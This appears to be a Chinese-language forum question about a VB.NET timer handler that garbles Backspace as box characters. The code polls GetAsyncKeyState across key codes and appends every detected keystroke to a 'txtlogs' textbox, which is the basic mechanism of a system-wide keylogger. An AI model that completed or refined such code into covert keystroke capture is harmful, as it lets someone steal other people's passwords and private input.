我的代码在按键事件中,当我点击 Backspace 按钮时,它会显示一些特殊字符(如方形框)。如何防止这种情况并使退格键正常工作?请帮忙。
Private Sub tmrKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrKeys.Tick
Dim result As Integer
Dim key As String = Nothing
Dim i As Integer
Try
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i
If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
txtlogs.Text &= key.ToUpper
Else
txtlogs.Text &= key.ToLower
End If
End If
Catch ex As Exception
MsgBox(ex.Message)
End Try
End Sub